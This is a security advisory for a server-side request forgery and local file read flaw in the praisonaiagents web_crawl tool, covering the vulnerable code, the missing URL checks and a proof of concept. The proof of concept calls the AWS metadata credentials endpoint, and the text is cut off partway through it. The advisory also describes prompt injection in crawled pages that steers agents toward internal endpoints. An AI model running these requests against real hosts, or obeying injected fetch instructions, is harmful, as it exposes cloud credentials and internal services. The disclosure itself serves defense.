GitHub Security Advisory: GHSA-8f4v-xfm9-3244
Package: praisonaiagents (PIP)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 1.5.128
Patched in: 1.5.128

Summary: PraisonAIAgents has SSRF and Local File Read via Unvalidated URLs in web_crawl Tool

Details:
## Summary

The `web_crawl()` function in `praisonaiagents/tools/web_crawl_tools.py` accepts arbitrary URLs from AI agents with zero validation. No scheme allowlisting, hostname/IP blocklisting, or private network checks are applied before fetching. This allows an attacker (or prompt injection in crawled content) to force the agent to fetch cloud metadata endpoints, internal services, or local files via `file://` URLs.

## Details

The `web_crawl()` function at `web_crawl_tools.py:182` accepts a URL string or list of URLs and passes them directly to HTTP clients without any SSRF protections:

```python
# web_crawl_tools.py:182-234
def web_crawl(
    urls: Union[str, List[str]],
    provider: Optional[str] = None,
) -> Union[Dict[str, Any], List[Dict[str, Any]]]:
    # Normalize to list
    single_url = isinstance(urls, str)
    # ...
    url_list = [urls] if single_url else urls
    
    # No URL validation whatsoever — urls flow directly to providers
    
    if selected == "tavily":
        results = _crawl_with_tavily(url_list)
    elif selected == "crawl4ai":
        results = _crawl_with_crawl4ai(url_list)
    else:
        results = _crawl_with_httpx(url_list)  # Always-available fallback
```

The `_crawl_with_httpx()` fallback at line 133 makes the actual requests:

```python
# web_crawl_tools.py:140-150
try:
    import httpx
    with httpx.Client(follow_redirects=True, timeout=30.0) as client:
        response = client.get(url)  # Line 143: fetches ANY URL, follows redirects
except ImportError:
    import urllib.request
    with urllib.request.urlopen(url, timeout=30) as response:  # Line 149: supports file://
        content = response.read().decode('utf-8', errors='ignore')
```

The specific vulnerabilities are:

1. **No URL scheme validation** — `http://`, `https://`, `file://`, `ftp://`, `gopher://` are all accepted
2. **No hostname/IP blocklist** — `169.254.169.254`, `127.0.0.1`, `10.x.x.x`, `172.16.x.x`, `192.168.x.x` are all reachable
3. **Redirect following enabled** — `httpx.Client(follow_redirects=True)` allows redirect-based SSRF bypasses (attacker-controlled redirect → internal IP)
4. **`file://` support via urllib** — when `httpx` is not installed, `urllib.request.urlopen()` supports `file://` for arbitrary local file reads

The tool is registered in `__init__.py:156` and auto-included in the "researcher" tool profile at `profiles.py:68`, meaning any agent with research capabilities gets this tool by default. The attack can be triggered via:
- Direct user prompt asking the agent to fetch internal URLs
- Prompt injection embedded in previously crawled web content that instructs the agent to "fetch additional context" from cloud metadata or internal endpoints

## PoC

```python
from praisonaiagents.tools import web_crawl

# 1. Cloud metadata theft (AWS IMDSv1)
result = web_crawl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
print(result["content"])  # Returns IAM role name

# Use the role name to get cred